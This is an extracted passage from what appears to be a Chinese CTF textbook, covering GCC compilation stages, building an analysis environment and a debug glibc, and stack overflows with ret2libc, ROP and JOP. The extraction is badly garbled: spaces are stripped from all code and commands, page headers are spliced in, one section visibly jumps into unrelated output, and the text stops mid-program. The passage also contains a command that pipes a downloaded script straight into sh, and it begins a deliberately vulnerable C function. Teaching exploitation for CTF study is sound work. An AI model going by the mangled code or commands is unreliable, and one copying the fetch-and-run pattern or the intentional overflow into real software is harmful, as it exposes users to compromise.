最后,这些指令按照可执行目标文件的格式打包,并以二进制文件的形式存放起来.
本节我们首先回顾编译原理的基础知识,然后以经典著作TheCProgrammingLanguage中的第一个程序helloworld为例,讲解Linux下默认编译器GCC(版本5.
4.
0)的编译过程.
2.
1.
1编译原理编译器的作用是读入以某种语言(源语言)编写的程序,输出等价的用另一种语言(目标语言)编写的程序.
编译器的结构可分为前端(Frontend)和后端(Backend)两部分.
前端是机器无关的,其功能是把源程序分解成组成要素和相应的语法结构,通过这个结构创建源程序的中间表示,同时收集和源程序相关的信息,存放到符号表中;后端则是机器相关的,其功能是根据中间表示和符号表信息构造目标程序.
编译过程可大致分为下面5个步骤,如图2-1所示.
(1)词法分析(Lexicalanalysis):读入源程序的字符流,输出为有意义的词素(Lexeme);(2)语法分析(Syntaxanalysis):根据各个词法单元的第一个分量来创建树型的中间表示形式,通常是语法树(Syntaxtree);(3)语义分析(Semanticanalysis):使用语法树和符号表中的信息,检测源程序是否满足语言定义的语义约束,同时收集类型信息,用于代码生成、类型检查和类型转换;(4)中间代码生成和优化:根据语义分析输出,生成类机器语言的中间表示,如三地址码.
然后对生成的中间代码进行分析和优化;(5)代码生成和优化:把中间表示形式映射到目标机器语言.
第2章二进制文件XXVII图2-1编译过程2.
1.
2GCC编译过程首先我们来看GCC的编译过程,hello.
c的源代码如下.
#includeintmain(){printf("hello,world\n");}在编译时添加"-save-temps"和"--verbose"编译选项,前者用于将编译过程中生成的中间文件保存下来,后者用于查看GCC编译的详细工作流程,下面是几条最关键的输出.
$gcchello.
c-ohello-save-temps--verbose.
.
.
.
.
.
/usr/lib/gcc/x86_64-linux-gnu/5/cc1-E-quiet-v-imultiarchx86_64-linux-gnuhello.
c-mtune=generic-march=x86-64-fpch-preprocess-fstack-protector-strong-Wformat-Wformat-security-ohello.
i.
.
.
.
.
.
/usr/lib/gcc/x86_64-linux-gnu/5/cc1-fpreprocessedhello.
i-quiet-dumpbasehello.
c-mtune=generic-march=x86-64-auxbasehello-version-fstack-protector-strong-Wformat-Wformat-security-ohello.
s.
.
.
.
.
.
as-v--64-ohello.
ohello.
s.
.
.
.
.
.
/usr/lib/gcc/x86_64-linux-gnu/5/collect2-plugin-dynamic-linker/lib64/ld-linux-x86-64.
so.
2-zrelro-ohello/usr/lib/gcc/x86_64-linux-gnu/5/x86_64-linux-gnu/crt1.
o/usr/lib/gcc/x86_64-linux-gnu/5/x86_64-linux-gnu/crti.
o/usr/lib/gcc/x86_64-linux-gnu/5/crtbegin.
o-L/usr/lib/gcc/x86_64-linux-gnu/5第2章二进制文件XXVIII-L/usr/lib/gcc/x86_64-linux-gnu/5/x86_64-linux-gnu-L/usr/lib/gcc/x86_64-linux-gnu/5/lib-L/lib/x86_64-linux-gnu-L/lib/.
.
/lib-L/usr/lib/x86_64-linux-gnu-L/usr/lib/.
.
/lib-L/usr/lib/gcc/x86_64-linux-gnu/5/hello.
o-lgcc--as-needed-lgcc_s--no-as-needed-lc-lgcc--as-needed-lgcc_s--no-as-needed/usr/lib/gcc/x86_64-linux-gnu/5/crtend.
o/usr/lib/gcc/x86_64-linux-gnu/5/x86_64-linux-gnu/crtn.
o$lshellohello.
chello.
ihello.
ohello.
s$.
/hellohello,world可以看到,GCC的编译主要包括四个阶段,即预处理(Preprocess)、编译(Compile)、汇编(Assemble)和链接(Link),如图2-2所示,该过程中分别使用了cc1、as和collect2三个工具.
其中cc1是编译器,对应第一和第二阶段,用于将源文件hello.
c编译为hello.
s;as是汇编器,对应第三阶段,用于将hello.
s汇编为hello.
o目标文件;链接器collect2是对ld命令的封装,用于将C语言运行时库(CRT)中的目标文件(crt1.
o、crti.
o、crtbegin.
o、crtend.
o、crtn.
o)以及所需的动态链接库(libgcc.
so、libgcc_s.
so、libc.
so)链接到可执行hello.
图2-2GCC的编译阶段2.
1.
3预处理阶段GCC编译的第一阶段是预处理,主要是处理源代码中以"#"开始的预处理指令,比如"#include"、"#define"等,将其转换后直接插入程序文本中,得到另一个C程序,通常以".
i"作为文件扩展名.
在命令中添加编译选项"-E"可以单独执行预处理:$gcc-Ehello.
c-ohello.
ihello.
i文件的内容如下所示.
#1"hello.
c"第2章二进制文件XXIX#1""#1"".
.
.
.
.
.
externintprintf(constchar*__restrict__format,.
.
.
);.
.
.
.
.
.
intmain(){printf("hello,world\n");}通过观察我们可以得知预处理的一些处理规则,如下.
递归处理"#include"预处理指令,将对应文件的内容复制到该指令的位置;删除所有的"#define"指令,并且在其被引用的位置递归地展开所有的宏定义;处理所有条件预处理指令:"#if"、"#ifdef"、"#elif"、"#else"、"#endif"等;删除所有注释;添加行号和文件名标识.
2.
1.
4编译阶段GCC编译的第二阶段是编译,该阶段将预处理文件进行一系列的词法分析、语法分析、语义分析以及优化,最终生成汇编代码.
在命令中添加编译选项"-S",操作对象可以是源代码hello.
c,也可以是预处理文件hello.
i.
实际上在GCC的实现中,已经将预处理和编译合并处理.
$gcc-Shello.
c-ohello.
s$gcc-Shello.
i-ohello.
s-masm=intel-fno-asynchronous-unwind-tablesGCC默认使用AT&T格式的汇编语言,添加编译选项"-masm=intel"可以将其指定为我们熟悉的intel格式.
编译选项"-fno-asynchronous-unwind-tables"则用于生成没有cfi宏的汇编指令,以提高可读性.
hello.
s文件的内容如下所示.
.
file"hello.
c".
intel_syntaxnoprefix.
section.
rodata.
LC0:.
string"hello,world".
text.
globlmain.
typemain,@functionmain:pushrbpmovrbp,rspmovedi,OFFSETFLAT:.
LC0callputsmoveax,0poprbpret.
sizemain,.
-main.
ident"GCC:(Ubuntu5.
4.
0-6ubuntu1~16.
04.
11)5.
4.
020160609"第2章二进制文件XXX.
section.
note.
GNU-stack,"",@progbits值得注意的是,生成的汇编代码中函数printf()被替换成了puts(),这是因为当printf()只有单一参数时,与puts()是十分类似的,于是GCC的优化策略就将其替换以提高性能.
2.
1.
5汇编阶段GCC编译的第三阶段是汇编,汇编器根据汇编指令与机器指令的对照表进行翻译,将hello.
s汇编成目标文件hello.
o.
在命令中添加编译选项"-c",操作对象可以是hello.
s,也可以从源代码hello.
c开始,经过预处理、编译和汇编直接生成目标文件.
$gcc-chello.
c-ohello.
o$gcc-chello.
s-ohello.
o此时的目标文件hello.
o是一个可重定位文件(RelocatableFile),可以使用objdump命令来查看其内容.
$filehello.
ohello.
o:ELF64-bitLSBrelocatable,x86-64,version1(SYSV),notstripped$objdump-sdhello.
o-MintelContentsofsection.
text:0000554889e5bf00000000e800000000b800UH.
00100000005dc3.
.
.
].
Contentsofsection.
rodata:000068656c6c6f2c20776f726c6400hello,world.
.
.
.
.
.
.
Disassemblyofsection.
text:0000000000000000:0:55pushrbp1:4889e5movrbp,rsp4:bf00000000movedi,0x09:e800000000callee:b800000000moveax,0x013:5dpoprbp14:c3ret此时由于还未进行链接,对象文件中符号的虚拟地址无法确定,于是我们看到字符串"hello,world.
"的地址被设置为0x0000,作为参数传递字符串地址的rdi寄存器被设置为0x0,而"callputs"指令中函数puts()的地址则被设置为下一条指令的地址0xe.
2.
1.
6链接阶段GCC编译的第四阶段是链接,可分为静态链接和动态链接两种.
GCC默认使用动态链接,添加编译选项"-static"即可指定使用静态链接.
这一阶段将目标文件及其依赖库进行链接,生成可执行文件,主要包括地址和空间分配(AddressandStorageAllocation)、符号绑定(SymbolBinding)和重定位(Relocation)等操作.
第2章二进制文件XXXI$gcchello.
o-ohello-static链接操作由链接器(ld.
so)完成,结果就得到了hello文件,这是一个静态链接的可执行文件(ExecutableFile),其包含了大量的库文件,因此我们只将关键部分展示如下.
$filehellohello:ELF64-bitLSBexecutable,x86-64,version1(GNU/Linux),staticallylinked,forGNU/Linux2.
6.
32,BuildID[sha1]=4d3bba9e3336550c1af6912f040c1d6f918becb1,notstripped$objdump-sdhello-Mintel.
.
.
.
.
.
Contentsofsection.
rodata:4a10800100020068656c6c6f2c20776f726c64.
.
.
.
hello,world4a1090002e2e2f6373752f6c6962632d737461.
.
.
/csu/libc-sta.
.
.
.
.
.
00000000004009ae:4009ae:55pushrbp4009af:4889e5movrbp,rsp4009b2:bf84104a00movedi,0x4a10844009b7:e8d4f00000call40fa904009bc:b800000000moveax,0x04009c1:5dpoprbp4009c2:c3ret.
.
.
.
.
.
000000000040fa90:40fa90:4154pushr1240fa92:55pushrbp40fa93:4989fcmovr12,rdi.
.
.
.
.
.
可以看到,通过链接操作,对象文件中无法确定的符号地址已经被修正为实际的符号地址,程序也就可以被加载到内存中正常执行了.
第5章分析环境搭建XXXII第5章分析环境搭建5.
1虚拟机环境对二进制安全研究者而言,搭建一个安全、稳定、可靠且易于迁移的分析环境十分重要.
在CTF中,我们也常常需要为各种二进制文件准备运行环境.
本章我们将分别介绍虚拟机、Docker、QEMU等环境的搭建以及常用的配置.
5.
1.
1虚拟化与虚拟机管理程序虚拟化(Virtualization)是资源的抽象化,是单一物理资源的多个逻辑表示,具有兼容、隔离的优良特性.
控制虚拟化的软件被称为虚拟机管理程序(Hypervisor),或者VMM(VirtualMachineMonitor),使用虚拟机管理程序在特定硬件平台上创建的计算机环境被称为虚拟机(VirtualMachine),而特定的硬件平台被称为宿主机(HostMachine).
在恶意代码和漏洞分析过程中常常需要使用虚拟化技术来进行辅助,这不仅可以保护真实的物理设备环境不被恶意代码攻击、固化保存分析环境以提高工作效率,而且还能够在不影响程序执行流的情况下动态捕获程序内存、CPU寄存器等关键数据.
虚拟化技术根据实现技术的不同可以分为以下几类.
操作系统层虚拟化(OS-levelVirtualization):应用于服务器操作系统中的轻量级虚拟化技术,不能模拟硬件设备,但可以创建多个虚拟的操作系统实例,如Docker.
硬件辅助虚拟化(Hardware-assistedVirtualization):由硬件平台对特殊指令进行截获和重定向,交由虚拟机管理程序进行处理,这需要CPU、主板、BIOS和软件的支持.
2005年Intel公司提出了Intel-VT,该技术包括处理器虚拟化技术IntelVT-x、芯片组虚拟化技术IntelVT-d和网络虚拟化技术IntelVT-c.
同时,AMD公司也提出了自己的虚拟化技术AMD-V,如VMware、VirtualBox.
半虚拟化(Para-Virtualization):通过修改开源操作系统,在其中加入与虚拟机管理程序协同的代码,但不需要进行拦截和模拟,理论上性能更高,如Hyper-V、Xen.
全虚拟化(FullVirtualization):不需要对操作系统进行改动,提供了完整的包括处理器、内存和外设的虚拟化平台,对虚拟机中运行的高权限指令进行拦截和模拟,保证相关操作被隔离在当前虚拟机中.
通常情况下,全虚拟化对虚拟机操作系统的适配更加简便,如VMware、第5章分析环境搭建XXXIIIVirtualBox、QEMU.
目前主流的全虚拟化虚拟机管理程序有VirtualBox和VMwareWorkstation.
其中VirtualBox是由Oracle公司开发的开源软件,而VMwareWorkstation则是商业化产品,当然我们也可以尝试免费的Player版本,但是缺乏快照以及更高级的虚拟网络管理功能.
基于x86的架构设计和CPU、主板厂商的支持,我们可以很方便地在PC上开启硬件虚拟化.
在PC的BIOS设置中开启虚拟化选项,不同的主板和CPU(此处指Intel与AMD),其设置可能有所不同,具体情况请查阅相关操作手册.
5.
1.
2安装虚拟机本书我们选择使用Ubuntu16.
04amd64desktop虚拟机作为工作环境,下面简述如何通过VMwareWorkstation创建该虚拟机.
首先在BIOS设置中开启虚拟化选项,并下载安装VMwareWorkstation.
系统镜像文件推荐到速度较快的国内开源镜像站中下载,如清华大学TUNA.
在新建虚拟机向导中选择对应的ISO文件,并对虚拟机名称、用户名、密码和硬件选项等进行设置,耐心等待即可完成安装.
对于虚拟机的网络设置,通常使用桥接模式(独立IP地址,虚拟机相当于网络中一台独立的机器,虚拟机之间以及虚拟机与宿主机之间都可以互相访问)和NAT模式(共享主机IP地址,虚拟机与宿主机之间可以互相访问,但与其他主机不能互相访问).
另外,强烈建议安装VMwareTools,以获得更方便的虚拟机使用体验,如文件拖曳、共享剪贴板等功能.
虚拟机安装完成后,要做的第一件事情就是更换系统软件源,同样推荐清华大学TUNA,更换源的方法请参阅站点的帮助文件.
接下来就是安装二进制安全研究或者CTF比赛的常用工具,以及安装32位程序的依赖库等,部分安装命令如下所示.
$sudodpkg--add-architecturei386$sudoaptupdate&&sudoaptupgrade$sudoaptinstalllibc6:i386$sudoaptinstallgcc-4.
8cmakegdbsocatvim$sudoaptinstallpython-devpython-pippython3python3-devpython3-pip$sudopipinstallziopwntoolsropgadgetcapstonekeystone-engineunicorn$wget-q-O-https://github.
com/hugsy/gef/raw/master/scripts/gef.
sh|sh$sudowgethttps://github.
com/slimm609/checksec.
sh/raw/master/checksec-O/usr/local/bin/checksec&&sudochmod+x/usr/local/bin/checksec5.
1.
3编译debug版本的glibcglibc即GNUCLibrary,是GNU操作系统的C标准库,主要由两部分组成:一部分是头文件,位于/usr/include;另一部分是库的二进制文件,主要是C标准库,分为动态(libc.
so.
6)和静态(libc.
a)两个版本.
通常系统中的共享库均为release版本,去除了符号表等调试信息.
但有时为了方便调试,第5章分析环境搭建XXXIV我们就需要准备一份debug版本的glibc.
另外,有时CTF比赛中二进制程序所需的libc版本与我们本地系统的版本不同(如libc-2.
26.
so),那么为了使该程序在本地正常运行,同样也需要配置合适的libc.
从服务器中下载glibc源码,并切换到所需的分支,这里以2.
26版本为例.
$gitclonegit://sourceware.
org/git/glibc.
git&&cdglibc$gitcheckoutglibc-2.
26$#编译64位$mkdirbuild&&cdbuild$.
.
/configure--prefix=/usr/local/glibc-2.
26--enable-debug=yes$make-j4&&sudomakeinstall$#或者编译32位$mkdirbuild_32&&cdbuild_32$.
.
/configure--prefix=/usr/local/glibc-2.
26_32--enable-debug=yes--host=i686-linux-gnu--build=i686-linux-gnuCC="gcc-m32"CXX="g++-m32"CFLAGS="-O2-march=i686"CXXFLAGS="-O2-march=i686"$make-j4&&sudomakeinstall这样debug版本的glibc就被安装到了/usr/local/glibc-2.
26路径下.
如果想要使用该libc编译源代码,那么只需要通过--rpath指定共享库路径,-I指定动态链接器就可以了,如下所示.
$gcc-L/usr/local/glibc-2.
26/lib-Wl,--rpath=/usr/local/glibc-2.
26/lib-Wl,-I/usr/local/glibc-2.
26/lib/ld-2.
26.
sohello.
c-ohello$lddhellolinux-vdso.
so.
1=>(0x00007ffef3dc7000)libc.
so.
6=>/usr/local/glibc-2.
26/lib/libc.
so.
6(0x00007fe826646000)/usr/local/glibc-2.
26/lib/ld-2.
26.
so=>/lib64/ld-linux-x86-64.
so.
2(0x00007fe8269f7000)那么如何使用该libc运行其他已编译的程序呢随着越来越多的Pwn题开始基于新版本的libc,这一需求也就产生了.
一种方法是直接使用该libc的动态链接器.
如下所示.
$/usr/local/glibc-2.
26/lib/ld-2.
26.
so.
/hellohello,world另一种方法则是替换二进制文件的解释器(interpreter)路径,该路径在程序编译时被写入程序头(PT_INTERP).
解释器在程序加载时对共享库进行动态链接,此时就需要libc与ld相匹配,否则就会出错.
使用如下脚本可以很方便地修改ELF文件的PT_INTERP.
importosimportargparsefrompwnimport*defchange_ld(binary,ld,output):ifnotbinaryornotldornotoutput:log.
failure("Try'pythonchange_ld.
py-h'formoreinformation.
")returnNone第5章分析环境搭建XXXVbinary=ELF(binary)forsegmentinbinary.
segments:ifsegment.
header['p_type']=='PT_INTERP':size=segment.
header['p_memsz']addr=segment.
header['p_paddr']data=segment.
data()ifsize9999/tcphelloworld另外,运维人员如果想抓取该Pwn题运行时的网络流量便于复查和监控作弊,可以在该服务器上使用tcpdump抓取,例如:$tcpdump-wpwn1.
pcap-ieth0port10001参考资料[1]DockerDocumentation[Z/OL].
[2]QEMUdocumentation[Z/OL].
[3]matrix1001.
关于不同版本glibc强行加载的方法[EB/OL].
(2018-06-11).
第10章栈溢出与ROPXL第10章栈溢出与ROP10.
1栈溢出原理由于C语言对数组引用不做任何边界检查,从而导致缓冲区溢出(bufferoverflow)成为一种很常见的漏洞.
根据溢出发生的内存位置,通常可以分为栈溢出和堆溢出.
其中,由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者就可以通过覆写返回地址来执行任意代码,利用方法包括shellcode注入、ret2libc、ROP等.
同时,防守方也发展出多种利用缓解机制,在本书第4章已经做了深入的讲解.
10.
1.
1函数调用栈函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数(callee)根据调用关系堆叠起来,从内存的高地址向低地址增长.
这个过程主要涉及eip、esp和ebp三个寄存器:eip用于存储即将执行的指令地址;esp用于存储栈顶地址,随着数据的压栈和出栈而变化;ebp用于存储栈基址,并参与栈内数据的寻址.
我们通过一个简单的程序来对x86和x86-64的调用栈进行讲解.
内存布局如图10-1所示.
intfunc(intarg1,intarg2,intarg3,intarg4,intarg5,intarg6,intarg7,intarg8){intloc1=arg1+1;intloc8=arg8+8;returnloc1+loc8;}intmain(){returnfunc(11,22,33,44,55,66,77,88);}//gcc-m32stack.
c-ostack32//gccstack.
c-ostack64第10章栈溢出与ROPXLI图10-1x86和x86-64的调用栈先来看x86的情况,每一条汇编指令都已经做了详细的注释.
gefdisassemblemain0x080483fd:pushebp#将栈底ebp压栈(esp-=4)0x080483fe:movebp,esp#更新ebp为当前栈顶esp0x08048400:push0x58#将arg8压栈(esp-=4)0x08048402:push0x4d#将arg7压栈(esp-=4)0x08048404:push0x42#将arg6压栈(esp-=4)0x08048406:push0x37#将arg5压栈(esp-=4)0x08048408:push0x2c#将arg4压栈(esp-=4)0x0804840a:push0x21#将arg3压栈(esp-=4)0x0804840c:push0x16#将arg2压栈(esp-=4)0x0804840e:push0xb#将arg1压栈(esp-=4)0x08048410:call0x80483db#调用func(push0x08048415)0x08048415:addesp,0x20#恢复栈顶esp0x08048418:leave#(movesp,ebp;popebp)0x08048419:ret#函数返回(popeip)gefdisassemblefunc0x080483db:pushebp#将栈底ebp压栈(esp-=4)0x080483dc:movebp,esp#更新ebp为当前栈顶esp0x080483de:subesp,0x10#为局部变量开辟栈空间0x080483e1:moveax,DWORDPTR[ebp+0x8]#取出arg10x080483e4:addeax,0x1#计算loc10x080483e7:movDWORDPTR[ebp-0x8],eax#loc1放入栈0x080483ea:moveax,DWORDPTR[ebp+0x24]#取出arg80x080483ed:addeax,0x8#计算loc80x080483f0:movDWORDPTR[ebp-0x4],eax#loc8放入栈0x080483f3:movedx,DWORDPTR[ebp-0x8]0x080483f6:moveax,DWORDPTR[ebp-0x4]0x080483f9:addeax,edx#计算返回值0x080483fb:leave#(movesp,ebp;popebp)0x080483fc:ret#函数返回(popeip)第10章栈溢出与ROPXLII首先,被调用函数func()的8个参数从后向前依次入栈,当执行call指令时,下一条指令的地址0x08048415作为返回地址入栈.
然后程序跳转到func(),在函数开头,将调用函数的ebp压栈保存并更新为当前的栈顶地址esp,作为新的栈基址,而esp则下移为局部变量开辟空间.
函数返回时则相反,通过leave指令将esp恢复为当前的ebp,并从栈中将调用者的ebp弹出,最后ret指令弹出返回地址作为eip,程序回到main()函数中,最后抬高esp清理被调用者的参数,一次函数调用的过程就结束了.
gefdisassemblemain0x000000000040050a:pushrbp#将栈底rbp压栈(rsp-=8)0x000000000040050b:movrbp,rsp#更新rbp为当前栈顶rsp0x000000000040050e:push0x58#将arg8压栈(rsp-=8)0x0000000000400510:push0x4d#将arg7压栈(rsp-=8)0x0000000000400512:movr9d,0x42#将arg6赋值给r90x0000000000400518:movr8d,0x37#将arg5赋值给r80x000000000040051e:movecx,0x2c#将arg4赋值给rcx0x0000000000400523:movedx,0x21#将arg3赋值给rdx0x0000000000400528:movesi,0x16#将arg2赋值给rsi0x000000000040052d:movedi,0xb#将arg1赋值给rdi0x0000000000400532:call0x4004d6#调用func(push0x400537)0x0000000000400537:addrsp,0x10#恢复栈顶rsp0x000000000040053b:leave#(movrsp,rbp;poprbp)0x000000000040053c:ret#函数返回(poprip)gefdisassemblefunc0x00000000004004d6:pushrbp#将栈底rbp压栈(rsp-=8)0x00000000004004d7:movrbp,rsp#更新rbp为当前栈顶rsp0x00000000004004da:movDWORDPTR[rbp-0x14],edi0x00000000004004dd:movDWORDPTR[rbp-0x18],esi0x00000000004004e0:movDWORDPTR[rbp-0x1c],edx0x00000000004004e3:movDWORDPTR[rbp-0x20],ecx0x00000000004004e6:movDWORDPTR[rbp-0x24],r8d0x00000000004004ea:movDWORDPTR[rbp-0x28],r9d0x00000000004004ee:moveax,DWORDPTR[rbp-0x14]0x00000000004004f1:addeax,0x10x00000000004004f4:movDWORDPTR[rbp-0x8],eax0x00000000004004f7:moveax,DWORDPTR[rbp+0x18]0x00000000004004fa:addeax,0x80x00000000004004fd:movDWORDPTR[rbp-0x4],eax0x0000000000400500:movedx,DWORDPTR[rbp-0x8]0x0000000000400503:moveax,DWORDPTR[rbp-0x4]0x0000000000400506:addeax,edx#计算返回值0x0000000000400508:poprbp#恢复rbp(rsp+=8)0x0000000000400509:ret#函数返回(poprip)对于x86-64的程序,前6个参数分别通过rdi、rsi、rdx、rcx、r8和r9进行传递,剩余参数才像x86一样从后向前依次压栈.
除此之外,我们还发现func()没有下移rsp开辟栈空间的操作,导致rbp和rsp的值是相同的,其实这是一项编译优化:根据AMD64ABI文档的描述,rsp以下128字节的区域被称为redzone,这是一块被保留的内存,不会被信号或者中断所修改.
于是,func()作为叶子第10章栈溢出与ROPXLIII函数就可以在不调整栈指针的情况下,使用这块内存保存临时数据.
在更极端的优化下,rbp作为栈基址其实也是可以省略的,编译器完全可以使用rsp来代替,从而减少指令数量.
GCC编译时添加参数"-fomit-frame-pointer"即可.
10.
1.
2危险函数大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的.
第一类危险函数是scanf、gets等输入读取函数.
下面的语句将用户输入读到buf中.
其中,第一条scanf的格式字符串"%s"并未限制读取长度,明显存在栈溢出的风险;第二条scanf使用"%ns"的形式限制了长度为10,看似没有问题,但由于scanf()函数会在字符串末尾自动添加一个"\0",如果输入刚好10个字符,那么"\0"就会溢出.
所以最安全的做法应该是第三条scanf,既考虑了缓冲区大小,又考虑了函数特性.
charbuf[10];scanf("%s",buf);scanf("%10s",buf);scanf("%9s",buf);第二类危险函数是strcpy、strcat、sprintf等字符串拷贝函数.
考虑下面的语句,read()函数读取用户输入到srcbuf,这里很好地限制了长度.
接下来strcpy()把srcbuf拷贝到destbuf,此时由于destbuf的最大长度只有10,小于srcbuf的最大长度20,显然是有可能造成溢出的.
对于这种情况,建议使用对应的安全函数strncpy、strncat、snprintf等来代替,这些函数都有一个size参数用于限制长度.
intlen;charsrcbuf[20];chardestbuf[10];len=read(0,srcbuf,19);src[len]=0;strcpy(destbuf,srcbuf);10.
1.
3ret2libc本节我们先讲解shellcode注入和re2libc两种比较简单的利用方式.
我们知道,栈溢出的主要目的就是覆写函数的返回地址,从而劫持控制流,在没有NX保护机制的时候,在栈溢出的同时就可以将shellcode注入栈上并执行,如图10-2所示.
padding1使用任意数据即可,比如"AAAA.
.
.
",一直覆盖到调用者的ebp.
然后在返回地址处填充上shellcode的地址,当函数返回时,就会跳到shellcode的位置.
padding2也可以使用任意数据,但如果开启了ASLR,使shellcode的地址不太确定,那么就可以使用NOPsled("\x90\x90.
.
.
")作为一段滑板指令,当程序跳到这段指令时就会一直滑到shellcode执行.
第10章栈溢出与ROPXLIV图10-2ret2shellcode示例开启NX后,栈上的shellcode不可执行,这时就需要使用ret2libc来调用libc.
so中的system("/bin/sh"),如图10-3所示.
这一次返回地址被覆盖上system()函数的地址,padding2为其添加一个伪造的返回地址,长度为4字节.
紧接着放上"bin/sh"字符串的地址,作为system()函数的参数.
如果开启了ASLR,那么system()和"/bin/sh"的地址就变成随机的,此时需要先做内存泄露,再填充真实地址.
图10-3ret2libc示例这两种技术的示例请见4.
3节,开启ASLR的例子参见4.
4节.
10.
2返回导向编程10.
2.
1ROP简介最开始,要利用栈溢出只需将返回地址覆盖为jmpesp指令的地址,并在后面添加shellcode就可以执行.
后来引入了NX缓解机制,数据所在的内存页被标记为不可执行,此时再执行shellcode第10章栈溢出与ROPXLV就会抛出异常.
既然注入新代码不可行,那么就复用程序中已有的代码.
libc.
so几乎在每个程序执行时都会加载,攻击者就开始考虑利用libc中的函数,这种技术就是ret2libc,我们在上一节已经讲过.
但是这种技术也有缺陷,首先,虽然攻击者可以一个接一个地调用libc中的函数,但这个执行流仍然是线性的,而不像代码注入那样任意执行,其次,攻击者只能使用程序text段和libc中已有的函数,通过移除这些特定的函数就可以限制此类攻击.
论文TheGeometryofInnocentFleshontheBone:Return-into-libcwithoutFunctionCalls(onthex86)提出了一种新的攻击技术——返回导向编程(Return-OrientedProgramming,ROP),无须调用任何函数即可执行任意代码.
使用ROP攻击,首先需要扫描文件,提取出可用的gadget片段(通常以ret指令结尾),然后将这些gadget根据所需要的功能进行组合,达到攻击者的目的.
举个小例子,exit(0)的shellcode由下面4条连续的指令组成.
;exit(0)shellcodexoreax,eaxxorebx,ebxinceaxint0x80如果要将它改写成ROP链,则需要分别找到包含这些指令的gadget,由于它们在地址上不一定是连续的,所以需要通过ret指令进行连接,依次执行.
;exit(0)ROPchainxoreax,eax;gadget1retxorebx,ebx;gadget2retinceax;gadget3retint0x80;gadget4为了完成指令序列的构建,首先需要找到这些以ret指令结尾,并且在执行时必然以ret结束,而不会跳到其他地方的gadget,算法如图10-4所示.
图10-4gadget搜索算法第10章栈溢出与ROPXLVI即扫描二进制找到ret(c3)指令,将其作为trie的根节点,然后回溯解析前面的指令,如果是有效指令,将其添加为子节点,再判断是否boring;如果不是,就继续递归回溯.
举个例子,在一个trie中一个表示pop%eax的节点是表示ret的根节点的子节点,则这个gadget为pop%eax;ret.
如此就能把有用的gadgets都找出来了.
boring指令则分为三种情况:(1)该指令是leave,后跟一个ret指令;(2)该指令是一个pop%ebp,后跟一个ret指令;(3)该指令是返回或者非条件跳转.
实际上,有很多工具可以帮助我们完成gadget搜索的工作,常用的有ROPgadget、Ropper等,还可以直接在ropshell网站上搜索.
gadgets在多个体系架构上都是图灵完备的,允许任意复杂度的计算,也就是说基本上只要能想到的事情它都可以做.
下面简单介绍几种用法.
(1)保存栈数据到寄存器.
弹出栈顶数据到寄存器中,然后跳转到新的栈顶地址.
所以当返回地址被一个gadget的地址覆盖,程序将在返回后执行该指令序列.
例如:popeax;ret;(2)保存内存数据到寄存器.
例如:movecx,[eax];ret;(3)保存寄存器数据到内存.
例如:mov[eax],ecx;ret;(4)算数和逻辑运算.
add、sub、mul、xor等.
例如:addeax,ebx;ret,xoredx,edx;ret;(5)系统调用.
执行内核中断.
例如:int0x80;ret,callgs:[0x10];ret;(6)会影响栈帧的gadget.
这些gadget会改变ebp的值,从而影响栈帧,在一些操作如stackpivot时我们需要这样的指令来转移栈帧.
例如:leave;ret,popebp;ret.
10.
2.
2ROP的变种论文Return-OrientedProgrammingwithoutReturns中指出,正常程序的指令流执行和ROP的指令流有很大不同,至少存两点:第一,ROP执行流会包含很多ret指令,而且这些ret指令可能只间隔了几条其他指令;第二,ROP利用ret指令来unwind堆栈,却没有与ret指令相对应的call指令.
针对上面两点不同,研究人员随后提出了多种ROP检测和防御技术,例如:针对第一点,可以检测程序执行中是否有频繁ret的指令流,作为报警的依据;针对第二点,可以通过call和ret指令的配对情况来判断异常.
或者维护一个影子栈(shadowstack)作为正常栈的备份,每次ret的时候就与正常栈对比一下;还有更极端的,直接在编译器层面重写二进制文件,消除里面的ret指令.
这些早期的防御技术其实都默认了一个前提,即ROP中必定存在ret指令.
那么反过来想,如果攻击者能够找到既不使用ret指令,又能改变执行流的ROP链,就能成功绕过这些防御.
于是,就诞生了不依赖于ret指令的ROP变种.
我们知道ret指令的作用主要有两个:一个是通过间接跳转改变执行流,另一个是更新寄存器状第10章栈溢出与ROPXLVII态.
在x86和ARM中都存在一些指令序列,也能够完成这些工作,它们首先更新全局状态(如栈指针),然后根据更新后的状态加载下一条指令的地址,并跳转过去执行.
我们把这样的指令序列叫作update-load-branch,使用它们来避免ret指令的使用.
由于update-load-branch相比ret指令更加稀少,所以通常作为跳板(trampoline)来重复利用.
当一个gadget执行结束后,跳转到trampoline,trampoline更新程序状态后把控制权交到下一个gadget,由此形成ROP链.
如图10-5所示.
图10-5不依赖ret指令的ROP由于这些gadgets都以jmp指令作为结尾,我们就称之为JOP(Jump-OrientedProgramming),考虑下面的gadget:pop%eax;jmp*%eax它的行为和ret很像,唯一的副作用是覆盖了eax寄存器,假如程序执行不依赖于eax,那么这一段指令就可以取代ret.
当然,eax可以被换成任意一个通用寄存器,而且比起单间接跳转,我们通常更愿意使用双重间接跳转:pop%eax;jmp*(%eax)此时,eax存放的是一个被称为sequencecatalog表的地址,该表用于存放各种指令序列的地址,也就是一个类似于GOT表的东西.
所谓双间接跳转,就是先从上一段指令序列跳到catalog表,然后从catalog表跳到下一段指令序列.
这样做使得ROP链的构造更加便捷,甚至可以根据偏移来实现跳转.
如图10-6所示.
图10-6JOP示例第10章栈溢出与ROPXLVIII另一篇论文Jump-OrientedProgramming:ANewClassofCode-ReuseAttack几乎同时提出了这种基于jmp指令的攻击方法.
除此之外,ROP的变种还包括string-orientedprogramming(SOP)、sigreturn-orientedprogramming(SROP)、data-orientedprogramming(DOP)、crash-resistantorientedprogramming(CROP)和printfprogramming.
10.
2.
3示例ROP的payload由一段触发栈溢出的padding和各条gadget及其参数组成,这些参数通常用于pop指令,来设置寄存器的值.
当函数返回时,将执行第一条gadget1,直到遇到ret指令,再跳转到gadget2继续执行,以此类推.
内存布局如图10-7所示.
图10-7ROP的内存布局示例将下面的示例代码编译成带PIE的64位程序.
由于64位程序在传递前几个参数时使用了寄存器,而不是栈,所以就需要攻击者找到一些gadgets用于设置寄存器的值.
在这里就是"poprdi;ret",用于将"/bin/sh"的地址存到rdi寄存器.
#include#include#includevoidvuln_func(){charbuf[128];read(STDIN_FILENO,buf,256);}intmain(intargc,char*argv[]){void*handle=dlopen("libc.
so.
